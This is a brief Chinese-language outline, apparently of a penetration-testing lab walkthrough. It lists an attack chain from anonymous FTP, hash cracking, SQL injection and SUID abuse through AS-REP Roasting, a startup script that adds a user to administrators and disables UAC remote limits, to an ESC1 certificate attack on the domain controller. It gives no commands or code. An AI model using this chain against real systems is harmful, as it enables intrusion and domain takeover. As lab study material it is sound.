外网:一个ftp匿名登录得到7z文件进行hash爆破,一个sitecms的API身份认证和sql注入,UDF提权,DNS隧道,SUID的cp写入公钥,端口转发,ssh登录,socks代理
内网:主机发现,LDAP匿名查询DC的所有用户,得到用户列表之后用AS-REP Roasting攻击得到一组凭据,利用凭据在34主机wim查看特权,发现有从远程系统强制关闭或重启计算机,通过把脚本被写进了开机自启动脚本,就是重启开机之后就会执行这个脚本,脚本一共做了两件事情,第一件事情就是把yangming加进管理员组,还有一件事情就是禁用UAC远程限制,远程连接的时候拥有管理员的所有权限。重启之后yingming有了管理员权限
域控:是一个证书攻击,ESC1,拿到域管哈希

浙公网安备 33010602011771号